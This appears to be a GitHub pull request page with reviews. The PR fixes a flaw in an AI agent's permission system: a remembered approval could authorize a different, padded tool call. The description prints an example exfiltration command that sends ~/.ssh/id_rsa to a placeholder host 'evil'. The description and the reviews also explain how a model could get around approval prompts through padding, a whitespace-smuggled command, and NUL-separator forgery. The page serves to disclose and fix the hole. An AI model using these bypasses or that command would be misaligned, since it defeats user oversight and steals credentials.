fix(permission): stop one approval from authorizing a different tool call - #1541
fix(permission): stop one approval from authorizing a different tool call#1541jackwener wants to merge 1 commit into
Conversation
…call
`permissionScopeKey` returned the argument value truncated to 512 chars
(Bash) or 1024 (custom/MCP JSON), and that truncated string WAS the
identity of an approval — `preToolUse` short-circuits to
`proceed: true, needsPrompt: false` for any later call whose key is
already in `turnRemembered`.
So two different calls sharing a long enough prefix were the same scope,
and the model chooses the prefix:
Bash: echo "<520 chars of padding>" ; echo hello <- user approves,
ticks 记住本轮
Bash: echo "<same padding>" ; curl -s http://evil -d @$HOME/.ssh/id_rsa
<- same key, no prompt
The dialog was honest both times; the second call simply never reached
it. Reproduced against the built package before the fix:
key length : 530
keys identical : true
commands identical : false
Custom and MCP tools were reachable the same way — `normalizeForScope`
sorts keys, so an alphabetically-early key can be padded to push the
meaningful one past the 1024-char cap.
The key is now a readable head plus a sha256 over the FULL normalized
value, so no amount of attacker-chosen padding collapses two calls into
one scope. Parts of multi-part keys are joined with NUL in the digest, so
`Grep{path:"a:b",glob:"c"}` cannot be forged as `Grep{path:"a",glob:"b:c"}`.
The head keeps keys debuggable in logs; the digest is the identity.
Scope keys are opaque Map keys — nothing depended on them being readable
or bounded, which is why truncating them was cost-free-looking and
wrong.
`node:crypto` is safe here despite `@maka/core` being bundled into the
renderer: the renderer reaches only type-level and simple value exports
from this module, so the import tree-shakes out. Verified against a real
renderer build (0 occurrences of `createHash` in the output).
The pre-existing scope-key test pinned the literal old string; re-pinned
to the behaviour it was actually protecting (whitespace normalized, args
sorted) plus the readable-head format.
Gates: 1213 core + 2666 runtime + 2895 desktop tests green, biome clean.
|
Biome also rejects |
|
Checked at P1: different Bash programs can still share one remembered approval
These two calls currently produce the same key: The first command only runs Bash commands and paths need to retain their exact semantic input when generating an approval identity. Code: P2:
|
Astro-Han
left a comment
Astro-Han
left a comment
There was a problem hiding this comment.
The original collision problem is real, and moving from a truncated prefix to a full digest plus readable preview is directionally correct on the old architecture.
This head should not be repaired in place. Current main removed this generic preToolUse/permissionScopeKey authority and moved enforcement to the sandbox boundary; the PR now has a content conflict plus a modify/delete conflict. From first principles, the minimal safe outcome is to re-evaluate the identity requirement at the current sandbox-boundary seam and implement it there only if an equivalent remembered-approval path still exists—not revive the retired evaluator. The old implementation also hashes whitespace-normalized Bash text, so it still allows semantically different programs to share an approval. The required typecheck job is red as well.
Reviewed with Codex using two independent reviewer agents; I reproduced the Bash collision, verified current-main authority/removals and merge conflicts, inspected the changed tests, and checked live CI.
中文
原始碰撞问题是真实的，在旧架构上从截断前缀改为完整 digest 加可读 preview，方向正确。
但当前 head 不应继续原地修补。最新 main 已删除通用 preToolUse/permissionScopeKey 权威，并把执行迁移到 sandbox boundary；这个 PR 现在同时存在内容冲突和 modify/delete 冲突。按第一性原理，最小安全方案是在当前 sandbox-boundary seam 上重新判断是否仍存在等价的 remembered-approval 路径，只有需要时才在那里实现 identity，而不是复活已退休的 evaluator。旧实现还会对 Bash 文本做空白归一化后再哈希，仍允许语义不同的程序复用审批；required typecheck 也仍为红。
本次由 Codex 配合两个独立 reviewer agent 审查；我复现了 Bash 碰撞，核验了 current-main 权威迁移与合并冲突、变更测试和实时 CI。
| @@ -1,3 +1,4 @@ | |||
| import { createHash } from 'node:crypto'; | |||
There was a problem hiding this comment.
P1 — Retarget the current permission authority instead of reviving this file. Current main removed generic preToolUse, permissionScopeKey, and its test file while moving enforcement to sandbox-boundary; merge-tree reports this source as a content conflict and the test as modify/delete. A mechanical rebase that keeps this implementation would restore a retired parallel permission authority. Re-evaluate the identity contract at the current sandbox seam and drop this old-file patch.
| function normalizeScopeText(value: string): string { | ||
| return value.replace(/\s+/g, ' ').trim().slice(0, 512); | ||
| return value.replace(/\s+/g, ' ').trim(); | ||
| } |
There was a problem hiding this comment.
P1 — Hash Bash's exact semantic input, not normalized whitespace. stringArg() calls normalizeScopeText() before the digest, collapsing newlines into spaces. Remembering printf ok # printf SMUGGLED therefore also authorizes printf ok #\nprintf SMUGGLED, although the latter executes an extra command. Preserve the original command for identity and normalize only the preview; cover the remembered preToolUse() decision, not just key equality.
|
/agentic_review |
Code Review by Qodo
1. NUL separator remains forgeable
|
![qodo-code-review[bot]](https://avatars.githubusercontent.com/in/484649?s=60&v=4){kind=small}
| * tool calls could search. | ||
| */ | ||
| function scopeKey(category: ToolCategory, toolName: string, parts: readonly string[]): string { | ||
| const identity = createHash('sha256').update(parts.join('\u0000')).digest('hex').slice(0, 32); |
There was a problem hiding this comment.
1. Nul separator remains forgeable 🐞 Bug ⛨ Security
scopeKey hashes multipart values joined by NUL even though tool arguments can themselves contain NUL, allowing distinct argument tuples to produce identical keys. With a shared prefix longer than the 96-character preview, the preview also matches, so one remembered approval can authorize the other call without prompting.
Agent Prompt
## Issue description
Multipart permission scope keys use NUL as an unescaped separator. JavaScript and JSON strings can contain `\u0000`, so distinct argument tuples can produce the same digest and, when their differing readable content is beyond the preview limit, the same complete approval key.
## Issue Context
For `P = 'x'.repeat(100)`, `[P + '\u0000', 'b', 'p']` and `[P, '\u0000b', 'p']` produce identical joined digest input. Their first 96 readable characters are also identical, allowing remembered approval transfer.
Use an unambiguous existing serialization seam such as `JSON.stringify(parts)` for the hash input, or length-prefix each part. This is the smallest local correction and introduces no new state, branch, configuration, or public surface; rejecting NUL globally is insufficient because it adds unrelated input-policy behavior.
## Fix Focus Areas
- packages/core/src/permission.ts[680-698]
- packages/core/src/__tests__/permission.test.ts[923-928]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
|
感谢修复这个真实且重要的 approval identity 问题。旧架构上从截断 prefix 转向完整 digest 的方向是对的，review 中发现的 Bash normalization collision 也说明这里确实需要严格按语义建立 identity。 不过 current main 已通过 #1581 删除 generic preToolUse / permissionScopeKey / turnRemembered authority，把执行授权统一迁移到 session sandbox boundary。当前代码已经不存在用这个 key 复用 tool-call approval 的路径，因此把本 PR 接回去反而会复活已退休的 permission evaluator，而不是修复当前 authority。 因此关闭这个已被架构切换取代的 PR。这里不是否定原始安全问题；如果在 current sandbox-boundary seam 上发现等价的 identity transfer，请基于现有 authority 提一个窄化的 security fix。 Thank you for addressing a real security issue. Current main has retired the generic preToolUse, permissionScopeKey, and turnRemembered authority in favor of session sandbox boundaries, so the vulnerable remembered-approval path no longer exists. I am closing this old-architecture patch rather than reviving the retired evaluator. Any equivalent issue found at the current sandbox-boundary seam should be fixed there in a focused PR. |
2 participants
permissionScopeKeyreturned the argument value truncated — 512 chars for Bash, 1024 for custom/MCP JSON — and that truncated string was the identity of an approval.preToolUseshort-circuits toproceed: true, needsPrompt: falsefor any later call whose key is already inturnRemembered.So two different calls sharing a long enough prefix were the same scope. And the model chooses the prefix:
The dialog was honest both times. The second call simply never reached it.
Reproduced against the built package before the fix:
Custom and MCP tools were reachable the same way:
normalizeForScopesorts keys, so an alphabetically-early key can be padded to push the meaningful one past the 1024-char cap.Fix
The key is now a readable head plus a sha256 over the full normalized value, so no amount of attacker-chosen padding collapses two calls into one scope:
Multi-part keys join with NUL inside the digest, so
Grep{path:"a:b", glob:"c"}cannot be forged asGrep{path:"a", glob:"b:c"}.Scope keys are opaque
Mapkeys — nothing depended on them being readable or bounded, which is exactly why truncating them looked cost-free and wasn't. The head is kept only so keys stay debuggable in logs; the digest is the identity.On
node:cryptoin@maka/core@maka/coreis bundled into the renderer, so this needed checking rather than assuming. The renderer reaches only type-level and simple value exports from this module, so the import tree-shakes out — verified against a real renderer build (0 occurrences ofcreateHashin the output).Tests
New cases cover the padding transfer (Bash and MCP), separator forgery, that genuinely-identical calls still share a scope (remember-for-turn must keep working), and the readable-head format.
One pre-existing test pinned the literal old key string; re-pinned to the behaviour it was actually protecting — whitespace normalized, args sorted — rather than the format.
Gates
1213 core + 2666 runtime + 2895 desktop tests green · biome clean.
Found during a review of the permission subsystem; the remaining findings from that review are being fixed one at a time in separate PRs.